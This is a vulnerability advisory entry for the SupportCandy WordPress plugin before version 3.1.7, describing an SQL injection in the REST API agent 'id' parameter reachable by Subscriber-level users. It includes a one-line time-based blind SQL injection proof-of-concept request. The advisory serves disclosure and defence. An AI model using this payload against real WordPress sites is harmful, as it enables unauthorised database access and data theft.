WordPress Plugin Vulnerabilities
SupportCandy < 3.1.7 - Subscriber+ SQLi
Description
The plugin does not properly sanitise and escape the `id` parameter for an Agent in the REST API before using it in an SQL statement, leading to an SQL Injection exploitable by users with a role as low as Subscriber.
Proof of Concept
wp-json/supportcandy/v2/agents/234563?id=-1 OR 1%3D(SELECT IF(1%3D1,SLEEP(10),1)) This request is delayed by 10 seconds.
Affects Plugins
References
CVE
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
dc11
Submitter
dc11
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-05-22 (about 11 months ago)
Added
2023-05-24 (about 11 months ago)
Last Updated
2023-05-24 (about 11 months ago)